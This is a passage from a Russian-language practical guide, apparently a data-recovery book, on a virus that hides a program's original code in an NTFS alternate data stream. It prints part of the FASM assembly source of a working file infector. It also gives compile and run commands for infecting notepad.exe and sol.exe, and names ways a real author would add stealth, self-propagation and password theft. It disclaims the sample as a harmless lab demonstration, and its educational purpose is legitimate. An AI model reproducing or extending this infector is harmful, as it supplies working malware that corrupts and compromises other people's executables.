Восстановление данных. Практическое руководство
push ebpcall [RenameFile]; Копируем в foo основной поток dstpush eaxpush ebppush bufcall [CopyFile]; Добавляем к своему имени имя потока NTFSmov esi, ebpmov edi, bufcopy_rool:lodsbstosbtest al,aljnz copy_roolmov esi, code_namedec edicopy_rool2:lodsbstosbtest al,aljnz copy_rool2; Копируем foo в dst:barpush eaxpush bufpush foocall [CopyFile]; Здесь не помешает добавить коррекцию длины заражаемого файла; Удаляем foopush foocall [DeleteFile]; Выводим диагностическое сообщение,; подтверждающее успешность заражения файлаpush 0push aInfectedpush ebppush 0call [MessageBox]; Выход из вирусаgo2exit:push 0call [ExitProcess]section '.data' data readable writeablefoo db "foo",0 ; Имя временного файлаcode_name db ":bar",0 ; Имя потока, в котором будет...code_name_end: ; ...сохранено основное тело; Различные текстовые строки, выводимые вирусомaInfected db "infected",0aHello db "Hello, you are hacked"; Различные буфера для служебных целейbuf rb 1000xxx rb 1000Компиляция и тестирование вирусаДля компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.
Скачайте последнюю версию FASM, распакуйте архив и в командной строке наберите следующую команду:
. Если все сделано правильно, на диске должен появиться файлfasm.exe xcode.asm. Запустим его на выполнение с опцией командной строкиxcode.exe, за которой следует имя файла, который требуется заразить, например, notepad.exe (--*). Появление диалогового окна, показанного на рис. 6.6, свидетельствует об успешном внедрении. Если попытка заражения потерпела неудачу, первым делом необходимо убедиться в наличии прав доступа к файлу. Захватывать их самостоятельно наш вирус не собирается. Во всяком случае, пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.xcode.exe --* notepad.exeРис. 6.6. Диалоговое окно, свидетельствующее об успешном заражении
Теперь запустите зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно (рис. 6.7), а после нажатия на кнопку OK передает управление оригинальному коду программы.
Рис. 6.7. Диалоговое окно, отображаемое зараженным файлом при запуске на исполнение
Чтобы не возбуждать у пользователя подозрений, настоящий вирусописатель удалит это диалоговое окно из финальной версии вируса, заменив его какой-нибудь вредоносной "начинкой". Тут все зависит от вирусописательских намерений и фантазии. Например, можно перевернуть экран, сыграть над пользователем еще какую-нибудь безобидную шутку, или же заняться более зловредной деятельностью вроде похищения паролей или другой конфиденциальной информации.
Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Например, чтобы заразить игру Solitaire, следует дать команду
. Кстати говоря, ни один пользователь в здравом уме не будет самостоятельно заражать файлы через командную строку. Поэтому вирусописатель должен будет разработать процедуру поиска очередного кандидата на заражение самостоятельно.notepad.exe --* sol.exeВнимание!До сих пор рассматриваемый вирус действительно был абсолютно безобиден. Он не размножается самостоятельно и не выполняет никаких злонамеренных или деструктивных действий. Ведь он создан лишь для демонстрации потенциальной опасности, подстерегающей пользователей NTFS. Исследовательская деятельность преступлением не является. Но вот если кто-то из вас решит доработать вирус так, чтобы он самостоятельно размножался и осуществлял вредоносные действия, то следует напомнить, что это уже станет уголовно наказуемым деянием.
Так что вместо разработки вредоносной начинки будем совершенствовать вирус в другом направлении. При повторном заражении файла текущая версия необратимо затирает оригинальный код своим телом, в результате чего файл станет неработоспособным. Вот беда! Как же ее побороть? Можно добавить проверку на зараженность перед копированием вируса в файл. Для этого следует вызвать функцию
, передать ей имя файла вместе с потоком (например,CreateFile) и проверить результат. Если файл открыть не удалось, значит, потокаnotepad.exe:barэтот файл не содержит, и, следовательно, он еще не заражен. Если же файл удалось успешно открыть, следует отказаться от заражения или выбрать другой поток. Например:bar,bar_01,bar_02.bar_03

